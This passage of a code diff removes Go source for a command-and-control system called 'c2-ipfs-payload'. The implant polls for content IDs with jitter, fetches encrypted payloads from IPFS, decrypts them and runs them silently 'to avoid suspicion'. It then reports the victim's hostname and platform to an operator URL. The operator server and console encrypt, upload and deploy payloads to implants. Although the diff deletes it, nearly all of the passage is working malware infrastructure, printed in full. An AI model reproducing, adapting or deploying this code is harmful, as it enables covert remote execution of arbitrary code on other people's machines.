|
|
||||||
}
|
|
||||||
log.Printf("Decrypted payload (%d bytes), executing...", len(plaintext))
|
|
||||||
|
|
||||||
// 4. Save to temp file
|
|
||||||
tmpFile, err := ipfs.SaveTempFile(plaintext, "c2payload-*")
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("failed to save temp file: %w", err)
|
|
||||||
}
|
|
||||||
defer os.Remove(tmpFile)
|
|
||||||
|
|
||||||
// 5. Execute
|
|
||||||
cmd := exec.Command(tmpFile)
|
|
||||||
cmd.Stdout = nil // Don't capture output by default to avoid suspicion
|
|
||||||
cmd.Stderr = nil
|
|
||||||
cmd.Stdin = nil
|
|
||||||
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
return fmt.Errorf("execution failed: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("Payload executed (PID: %d)", cmd.Process.Pid)
|
|
||||||
im.mu.Lock()
|
|
||||||
im.execCount++
|
|
||||||
im.lastCID = cid
|
|
||||||
im.lastFetchTime = time.Now()
|
|
||||||
im.mu.Unlock()
|
|
||||||
|
|
||||||
// 6. Report back (fire and forget)
|
|
||||||
go im.report(cid, true, "")
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// report sends execution status back to the operator.
|
|
||||||
func (im *Implant) report(cid string, success bool, errMsg string) {
|
|
||||||
if im.config.ReportURL == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
hostname, _ := os.Hostname()
|
|
||||||
report := types.ImplantReport{
|
|
||||||
ImplantID: im.config.ImplantID,
|
|
||||||
CID: cid,
|
|
||||||
Success: success,
|
|
||||||
Error: errMsg,
|
|
||||||
Platform: runtime.GOOS + "/" + runtime.GOARCH,
|
|
||||||
Hostname: hostname,
|
|
||||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
|
||||||
}
|
|
||||||
|
|
||||||
data, _ := json.Marshal(report)
|
|
||||||
im.httpClient.Post(im.config.ReportURL, "application/json",
|
|
||||||
strings.NewReader(string(data)))
|
|
||||||
}
|
|
||||||
|
|
||||||
// run starts the main polling loop with jitter.
|
|
||||||
func (im *Implant) run() {
|
|
||||||
log.Printf("Implant started (ID: %s, mode: %s)", im.config.ImplantID, im.config.Mode)
|
|
||||||
log.Printf("Poll interval: %ds with jitter", im.config.PollInterval)
|
|
||||||
log.Printf("CID source: %s", im.config.CIDSource)
|
|
||||||
if im.config.ReportURL != "" {
|
|
||||||
log.Printf("Report URL: %s", im.config.ReportURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Initial poll
|
|
||||||
im.pollLoop()
|
|
||||||
|
|
||||||
// Start ticker with jitter
|
|
||||||
baseInterval := time.Duration(im.config.PollInterval) * time.Second
|
|
||||||
im.pollTicker = time.NewTicker(baseInterval)
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-im.pollTicker.C:
|
|
||||||
im.pollLoop()
|
|
||||||
case <-im.stopCh:
|
|
||||||
log.Println("Implant shutting down...")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// pollLoop performs one poll cycle with jitter.
|
|
||||||
func (im *Implant) pollLoop() {
|
|
||||||
// Add jitter: ±20% of polling interval
|
|
||||||
jitterRange := int64(float64(im.config.PollInterval) * 0.2)
|
|
||||||
if jitterRange < 1 {
|
|
||||||
jitterRange = 1
|
|
||||||
}
|
|
||||||
jitterMs, _ := rand.Int(rand.Reader, big.NewInt(jitterRange*1000))
|
|
||||||
time.Sleep(time.Duration(jitterMs.Int64()) * time.Millisecond)
|
|
||||||
|
|
||||||
cid, err := im.poll()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("Poll error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if cid == "" {
|
|
||||||
return // No CID available yet
|
|
||||||
}
|
|
||||||
|
|
||||||
im.mu.RLock()
|
|
||||||
lastCID := im.lastCID
|
|
||||||
im.mu.RUnlock()
|
|
||||||
|
|
||||||
if cid == lastCID {
|
|
||||||
return // Same CID, nothing to do
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := im.processCID(cid); err != nil {
|
|
||||||
log.Printf("CID processing error: %v", err)
|
|
||||||
im.report(cid, false, err.Error())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// saveConfig persists the current state to a config file.
|
|
||||||
func (im *Implant) saveConfig(path string) error {
|
|
||||||
im.mu.RLock()
|
|
||||||
cfg := im.config
|
|
||||||
cfg.LastCID = im.lastCID
|
|
||||||
im.mu.RUnlock()
|
|
||||||
|
|
||||||
data, err := json.MarshalIndent(cfg, "", " ")
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return os.WriteFile(path, data, 0600)
|
|
||||||
}
|
|
||||||
|
|
||||||
// loadConfig loads implant state from a config file.
|
|
||||||
func loadConfig(path string) (*types.Config, error) {
|
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
var cfg types.Config
|
|
||||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return &cfg, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
var (
|
|
||||||
cidSource = flag.String("cid-source", "", "CID source URL (mode A) or contract address (mode B)")
|
|
||||||
decryptionKey = flag.String("decryption-key", "", "Payload decryption key (32-byte hex or passphrase)")
|
|
||||||
pollInterval = flag.Int("poll-interval", 60, "Poll interval in seconds")
|
|
||||||
mode = flag.String("mode", "http", "Operation mode: 'http' or 'contract'")
|
|
||||||
rpcURL = flag.String("rpc-url", "", "Ethereum RPC URL (mode B)")
|
|
||||||
gateways = flag.String("gateways", "", "Comma-separated IPFS gateway URLs")
|
|
||||||
reportURL = flag.String("report-url", "", "URL to POST execution reports")
|
|
||||||
configFile = flag.String("config", "", "Path to config file (for persistence)")
|
|
||||||
jwtFetch = flag.String("jwt-fetch", "", "JWT for authenticated CID hub access")
|
|
||||||
implantID = flag.String("id", "", "Implant ID (auto-generated if empty)")
|
|
||||||
)
|
|
||||||
flag.Parse()
|
|
||||||
|
|
||||||
if *cidSource == "" {
|
|
||||||
log.Fatal("--cid-source is required (URL for mode A, contract addr for mode B)")
|
|
||||||
}
|
|
||||||
if *decryptionKey == "" {
|
|
||||||
log.Fatal("--decryption-key is required")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse gateways
|
|
||||||
var gwList []string
|
|
||||||
if *gateways != "" {
|
|
||||||
gwList = strings.Split(*gateways, ",")
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = rpcURL // used in mode B (contract)
|
|
||||||
|
|
||||||
// Build config
|
|
||||||
cfg := types.Config{
|
|
||||||
ImplantID: *implantID,
|
|
||||||
DecryptionKey: *decryptionKey,
|
|
||||||
PollInterval: *pollInterval,
|
|
||||||
CIDSource: *cidSource,
|
|
||||||
Mode: *mode,
|
|
||||||
Gateways: gwList,
|
|
||||||
ReportURL: *reportURL,
|
|
||||||
JWTFetch: *jwtFetch,
|
|
||||||
}
|
|
||||||
|
|
||||||
// Try loading from config file for persistence
|
|
||||||
if *configFile != "" {
|
|
||||||
savedCfg, err := loadConfig(*configFile)
|
|
||||||
if err == nil {
|
|
||||||
// Merge: CLI flags override config file
|
|
||||||
if *implantID == "" && savedCfg.ImplantID != "" {
|
|
||||||
cfg.ImplantID = savedCfg.ImplantID
|
|
||||||
}
|
|
||||||
if *decryptionKey == "" && savedCfg.DecryptionKey != "" {
|
|
||||||
cfg.DecryptionKey = savedCfg.DecryptionKey
|
|
||||||
}
|
|
||||||
if *cidSource == "" && savedCfg.CIDSource != "" {
|
|
||||||
cfg.CIDSource = savedCfg.CIDSource
|
|
||||||
}
|
|
||||||
if savedCfg.LastCID != "" {
|
|
||||||
cfg.LastCID = savedCfg.LastCID
|
|
||||||
}
|
|
||||||
if len(gwList) == 0 && len(savedCfg.Gateways) > 0 {
|
|
||||||
cfg.Gateways = savedCfg.Gateways
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
implant := NewImplant(cfg)
|
|
||||||
|
|
||||||
// Periodically save config for persistence
|
|
||||||
if *configFile != "" {
|
|
||||||
go func() {
|
|
||||||
ticker := time.NewTicker(5 * time.Minute)
|
|
||||||
defer ticker.Stop()
|
|
||||||
for range ticker.C {
|
|
||||||
if err := implant.saveConfig(*configFile); err != nil {
|
|
||||||
log.Printf("Failed to save config: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle signals
|
|
||||||
sigCh := make(chan os.Signal, 1)
|
|
||||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
<-sigCh
|
|
||||||
log.Println("Received shutdown signal")
|
|
||||||
if *configFile != "" {
|
|
||||||
implant.saveConfig(*configFile)
|
|
||||||
}
|
|
||||||
os.Exit(0)
|
|
||||||
}()
|
|
||||||
|
|
||||||
implant.run()
|
|
||||||
}
|
|
||||||
|
|
@ -1,505 +0,0 @@
|
||||||
// Command server is the operator console for the C2 IPFS payload delivery system.
|
|
||||||
//
|
|
||||||
// MODE A — Simple HTTP CID Hub:
|
|
||||||
// Runs a lightweight HTTP server that serves new CIDs.
|
|
||||||
// Implants poll GET /cid for the current CID.
|
|
||||||
//
|
|
||||||
// MODE B — Smart Contract CID Feed (optional, requires go-ethereum):
|
|
||||||
// Build with: go build -tags ethereum ./cmd/server
|
|
||||||
// Interacts with an Ethereum smart contract that emits NewCID events.
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"encoding/hex"
|
|
||||||
"encoding/json"
|
|
||||||
"flag"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"os/signal"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"syscall"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/auth"
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Server state.
|
|
||||||
type Server struct {
|
|
||||||
mu sync.RWMutex
|
|
||||||
currentCID string
|
|
||||||
history []types.CIDEntry
|
|
||||||
startTime time.Time
|
|
||||||
mode string // "http" or "contract"
|
|
||||||
ipfsClient *ipfs.Client
|
|
||||||
encKey []byte
|
|
||||||
config Config
|
|
||||||
|
|
||||||
// For contract mode
|
|
||||||
contractAddress string
|
|
||||||
rpcURL string
|
|
||||||
}
|
|
||||||
|
|
||||||
// Config holds server configuration flags.
|
|
||||||
type Config struct {
|
|
||||||
port int
|
|
||||||
username string
|
|
||||||
password string
|
|
||||||
jwtToken string
|
|
||||||
mode string
|
|
||||||
ipfsAPI string
|
|
||||||
pinataJWT string
|
|
||||||
encKeyHex string
|
|
||||||
contractAddr string
|
|
||||||
rpcURL string
|
|
||||||
maxHistory int
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *Server) addHistory(cid, note string) {
|
|
||||||
s.mu.Lock()
|
|
||||||
defer s.mu.Unlock()
|
|
||||||
entry := types.CIDEntry{
|
|
||||||
CID: cid,
|
|
||||||
Timestamp: time.Now().UTC(),
|
|
||||||
Note: note,
|
|
||||||
}
|
|
||||||
s.history = append(s.history, entry)
|
|
||||||
if len(s.history) > s.config.maxHistory {
|
|
||||||
s.history = s.history[len(s.history)-s.config.maxHistory:]
|
|
||||||
}
|
|
||||||
s.currentCID = cid
|
|
||||||
}
|
|
||||||
|
|
||||||
// --- HTTP Handlers (Mode A) ---
|
|
||||||
|
|
||||||
func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) {
|
|
||||||
s.mu.RLock()
|
|
||||||
cid := s.currentCID
|
|
||||||
s.mu.RUnlock()
|
|
||||||
|
|
||||||
if cid == "" {
|
|
||||||
http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
w.Header().Set("Content-Type", "application/json")
|
|
||||||
json.NewEncoder(w).Encode(map[string]string{"cid": cid})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if r.Method != http.MethodPost {
|
|
||||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var req struct {
|
|
||||||
CID string `json:"cid"`
|
|
||||||
Note string `json:"note,omitempty"`
|
|
||||||
}
|
|
||||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
||||||
http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
req.CID = strings.TrimSpace(req.CID)
|
|
||||||
if !ipfs.IsValidCID(req.CID) {
|
|
||||||
http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
s.addHistory(req.CID, req.Note)
|
|
||||||
|
|
||||||
w.Header().Set("Content-Type", "application/json")
|
|
||||||
json.NewEncoder(w).Encode(map[string]string{
|
|
||||||
"status": "ok",
|
|
||||||
"cid": req.CID,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) {
|
|
||||||
s.mu.RLock()
|
|
||||||
history := make([]types.CIDEntry, len(s.history))
|
|
||||||
copy(history, s.history)
|
|
||||||
s.mu.RUnlock()
|
|
||||||
|
|
||||||
w.Header().Set("Content-Type", "application/json")
|
|
||||||
if history == nil {
|
|
||||||
w.Write([]byte("[]"))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
json.NewEncoder(w).Encode(history)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) {
|
|
||||||
s.mu.RLock()
|
|
||||||
cid := s.currentCID
|
|
||||||
history := make([]types.CIDEntry, len(s.history))
|
|
||||||
copy(history, s.history)
|
|
||||||
s.mu.RUnlock()
|
|
||||||
|
|
||||||
resp := types.StatusResponse{
|
|
||||||
CurrentCID: cid,
|
|
||||||
History: history,
|
|
||||||
Mode: s.mode,
|
|
||||||
Uptime: time.Since(s.startTime).Round(time.Second).String(),
|
|
||||||
}
|
|
||||||
|
|
||||||
w.Header().Set("Content-Type", "application/json")
|
|
||||||
json.NewEncoder(w).Encode(resp)
|
|
||||||
}
|
|
||||||
|
|
||||||
// --- Operator Console ---
|
|
||||||
|
|
||||||
func (s *Server) runConsole() {
|
|
||||||
scanner := bufio.NewScanner(os.Stdin)
|
|
||||||
fmt.Println()
|
|
||||||
fmt.Println("╔══════════════════════════════════════════╗")
|
|
||||||
fmt.Println("║ C2 IPFS Payload — Operator Console ║")
|
|
||||||
fmt.Println("╚══════════════════════════════════════════╝")
|
|
||||||
fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port)
|
|
||||||
if s.mode == "http" {
|
|
||||||
fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port)
|
|
||||||
}
|
|
||||||
fmt.Println()
|
|
||||||
fmt.Println("Commands:")
|
|
||||||
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
|
||||||
fmt.Println(" cid <new-cid> — Manually set CID")
|
|
||||||
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
|
||||||
fmt.Println(" status — Show current state")
|
|
||||||
fmt.Println(" history — Show recent CID history")
|
|
||||||
fmt.Println(" genkey — Generate a new encryption key")
|
|
||||||
fmt.Println(" help — Show this help")
|
|
||||||
fmt.Println(" exit — Shutdown")
|
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
for {
|
|
||||||
fmt.Print("> ")
|
|
||||||
if !scanner.Scan() {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
line := strings.TrimSpace(scanner.Text())
|
|
||||||
if line == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
parts := strings.Fields(line)
|
|
||||||
cmd := parts[0]
|
|
||||||
|
|
||||||
switch cmd {
|
|
||||||
case "exit", "quit":
|
|
||||||
fmt.Println("Shutting down...")
|
|
||||||
os.Exit(0)
|
|
||||||
|
|
||||||
case "help":
|
|
||||||
fmt.Println("Commands:")
|
|
||||||
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
|
||||||
fmt.Println(" cid <new-cid> — Manually set CID")
|
|
||||||
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
|
||||||
fmt.Println(" status — Show current state")
|
|
||||||
fmt.Println(" history — Show recent CID history")
|
|
||||||
fmt.Println(" genkey — Generate a new encryption key")
|
|
||||||
fmt.Println(" exit — Shutdown")
|
|
||||||
|
|
||||||
case "genkey":
|
|
||||||
key, err := crypto.GenerateKey()
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("Error: %v\n", err)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
fmt.Printf("New encryption key: %s\n", key)
|
|
||||||
fmt.Println("SAVE THIS KEY. It cannot be recovered.")
|
|
||||||
fmt.Println("Share it with implants via --decryption-key")
|
|
||||||
|
|
||||||
case "status":
|
|
||||||
s.mu.RLock()
|
|
||||||
fmt.Printf("Current CID: %s\n", s.currentCID)
|
|
||||||
fmt.Printf("Mode: %s\n", s.mode)
|
|
||||||
fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second))
|
|
||||||
fmt.Printf("History entries: %d\n", len(s.history))
|
|
||||||
fmt.Printf("Contract address: %s\n", s.contractAddress)
|
|
||||||
s.mu.RUnlock()
|
|
||||||
|
|
||||||
case "history":
|
|
||||||
s.mu.RLock()
|
|
||||||
if len(s.history) == 0 {
|
|
||||||
fmt.Println("No history.")
|
|
||||||
} else {
|
|
||||||
fmt.Println("Recent CIDs:")
|
|
||||||
for i, entry := range s.history {
|
|
||||||
note := entry.Note
|
|
||||||
if note == "" {
|
|
||||||
note = "(no note)"
|
|
||||||
}
|
|
||||||
fmt.Printf(" %d. %s [%s] %s\n",
|
|
||||||
i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
s.mu.RUnlock()
|
|
||||||
|
|
||||||
case "cid":
|
|
||||||
if len(parts) < 2 {
|
|
||||||
fmt.Println("Usage: cid <cid>")
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
newCID := parts[1]
|
|
||||||
if !ipfs.IsValidCID(newCID) {
|
|
||||||
fmt.Println("Invalid CID format.")
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
note := ""
|
|
||||||
if len(parts) > 2 {
|
|
||||||
note = strings.Join(parts[2:], " ")
|
|
||||||
}
|
|
||||||
s.addHistory(newCID, note)
|
|
||||||
fmt.Printf("CID updated to: %s\n", newCID)
|
|
||||||
|
|
||||||
case "encrypt":
|
|
||||||
if len(parts) < 2 {
|
|
||||||
fmt.Println("Usage: encrypt <file>")
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
filePath := parts[1]
|
|
||||||
s.cmdEncrypt(filePath)
|
|
||||||
|
|
||||||
case "deploy":
|
|
||||||
if len(parts) < 2 {
|
|
||||||
fmt.Println("Usage: deploy <payload>")
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
filePath := parts[1]
|
|
||||||
s.cmdDeploy(filePath)
|
|
||||||
|
|
||||||
default:
|
|
||||||
fmt.Printf("Unknown command: %s. Type 'help'\n", cmd)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *Server) cmdEncrypt(filePath string) {
|
|
||||||
data, err := os.ReadFile(filePath)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("Error reading file: %v\n", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
encrypted, err := crypto.Encrypt(data, s.encKey)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("Error encrypting: %v\n", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extract filename without path
|
|
||||||
fileName := filePath
|
|
||||||
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
|
||||||
fileName = filePath[idx+1:]
|
|
||||||
}
|
|
||||||
encName := fileName + ".enc"
|
|
||||||
|
|
||||||
// Upload to IPFS
|
|
||||||
fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted))
|
|
||||||
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("IPFS upload failed: %v\n", err)
|
|
||||||
fmt.Println("Encrypted file saved locally as:", encName)
|
|
||||||
os.WriteFile(encName, encrypted, 0644)
|
|
||||||
fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid <cid>' to set it.")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
fmt.Printf("Uploaded! CID: %s\n", resp.CID)
|
|
||||||
fmt.Printf("Local copy: %s\n", encName)
|
|
||||||
os.WriteFile(encName, encrypted, 0644)
|
|
||||||
fmt.Println()
|
|
||||||
fmt.Println("To deploy, run: cid", resp.CID)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *Server) cmdDeploy(filePath string) {
|
|
||||||
data, err := os.ReadFile(filePath)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("Error reading payload: %v\n", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
encrypted, err := crypto.Encrypt(data, s.encKey)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("Error encrypting payload: %v\n", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
fileName := filePath
|
|
||||||
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
|
||||||
fileName = filePath[idx+1:]
|
|
||||||
}
|
|
||||||
encName := fileName + ".enc"
|
|
||||||
|
|
||||||
fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted))
|
|
||||||
fmt.Println("Uploading to IPFS...")
|
|
||||||
|
|
||||||
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("IPFS upload failed: %v\n", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
s.addHistory(resp.CID, "deploy: "+fileName)
|
|
||||||
|
|
||||||
fmt.Printf("✅ Deployed!\n")
|
|
||||||
fmt.Printf(" Payload: %s\n", filePath)
|
|
||||||
fmt.Printf(" Encrypted: %s\n", encName)
|
|
||||||
fmt.Printf(" IPFS CID: %s\n", resp.CID)
|
|
||||||
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
|
||||||
|
|
||||||
if s.mode == "contract" {
|
|
||||||
if s.contractAddress != "" {
|
|
||||||
fmt.Println()
|
|
||||||
fmt.Println("To send CID to contract:")
|
|
||||||
fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID)
|
|
||||||
fmt.Println("(Requires --rpc-url and go-ethereum build)")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// --- HTTP Server ---
|
|
||||||
|
|
||||||
func (s *Server) startHTTPServer() {
|
|
||||||
if s.mode != "http" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
mux := http.NewServeMux()
|
|
||||||
|
|
||||||
// Apply auth middleware based on config
|
|
||||||
var getCIDHandler http.HandlerFunc = s.handleGetCID
|
|
||||||
var postCIDHandler http.HandlerFunc = s.handlePostCID
|
|
||||||
var historyHandler http.HandlerFunc = s.handleHistory
|
|
||||||
var statusHandler http.HandlerFunc = s.handleStatus
|
|
||||||
|
|
||||||
if s.config.jwtToken != "" {
|
|
||||||
getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID)
|
|
||||||
postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID)
|
|
||||||
historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory)
|
|
||||||
statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus)
|
|
||||||
} else {
|
|
||||||
getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler)
|
|
||||||
postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler)
|
|
||||||
historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler)
|
|
||||||
statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler)
|
|
||||||
}
|
|
||||||
|
|
||||||
mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
switch r.Method {
|
|
||||||
case http.MethodGet:
|
|
||||||
getCIDHandler(w, r)
|
|
||||||
case http.MethodPost:
|
|
||||||
postCIDHandler(w, r)
|
|
||||||
default:
|
|
||||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
mux.HandleFunc("/history", historyHandler)
|
|
||||||
mux.HandleFunc("/status", statusHandler)
|
|
||||||
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
w.Header().Set("Content-Type", "application/json")
|
|
||||||
info := map[string]interface{}{
|
|
||||||
"service": "c2-ipfs-payload",
|
|
||||||
"version": "1.0.0",
|
|
||||||
"mode": s.mode,
|
|
||||||
"auth": s.config.jwtToken != "" || s.config.username != "",
|
|
||||||
"endpoints": map[string]string{
|
|
||||||
"GET /cid": "Get current CID",
|
|
||||||
"POST /cid": "Set a new CID (body: {\"cid\":\"...\"})",
|
|
||||||
"GET /history": "Get recent CID history",
|
|
||||||
"GET /status": "Get server status",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
json.NewEncoder(w).Encode(info)
|
|
||||||
})
|
|
||||||
|
|
||||||
addr := fmt.Sprintf("0.0.0.0:%d", s.config.port)
|
|
||||||
log.Printf("CID Hub listening on %s (mode A — HTTP)", addr)
|
|
||||||
if err := http.ListenAndServe(addr, mux); err != nil {
|
|
||||||
log.Fatalf("Server failed: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
// Flags
|
|
||||||
cfg := Config{}
|
|
||||||
flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)")
|
|
||||||
flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)")
|
|
||||||
flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)")
|
|
||||||
flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)")
|
|
||||||
flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'")
|
|
||||||
flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)")
|
|
||||||
flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)")
|
|
||||||
flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)")
|
|
||||||
flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)")
|
|
||||||
flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)")
|
|
||||||
flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep")
|
|
||||||
flag.Parse()
|
|
||||||
|
|
||||||
// Encryption key
|
|
||||||
var encKey []byte
|
|
||||||
if cfg.encKeyHex != "" {
|
|
||||||
var err error
|
|
||||||
encKey, err = hex.DecodeString(cfg.encKeyHex)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Invalid encryption key hex: %v", err)
|
|
||||||
}
|
|
||||||
if len(encKey) != crypto.KeySize {
|
|
||||||
log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey))
|
|
||||||
}
|
|
||||||
fmt.Printf("Using provided encryption key: %s...%s\n",
|
|
||||||
cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:])
|
|
||||||
} else {
|
|
||||||
keyHex, err := crypto.GenerateKey()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Failed to generate key: %v", err)
|
|
||||||
}
|
|
||||||
encKey, _ = hex.DecodeString(keyHex)
|
|
||||||
fmt.Printf("Generated new encryption key: %s\n", keyHex)
|
|
||||||
fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key")
|
|
||||||
fmt.Println()
|
|
||||||
}
|
|
||||||
|
|
||||||
// IPFS client
|
|
||||||
ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT)
|
|
||||||
|
|
||||||
server := &Server{
|
|
||||||
startTime: time.Now(),
|
|
||||||
mode: cfg.mode,
|
|
||||||
ipfsClient: ipfsClient,
|
|
||||||
encKey: encKey,
|
|
||||||
config: cfg,
|
|
||||||
contractAddress: cfg.contractAddr,
|
|
||||||
rpcURL: cfg.rpcURL,
|
|
||||||
history: make([]types.CIDEntry, 0, cfg.maxHistory),
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start console
|
|
||||||
go server.runConsole()
|
|
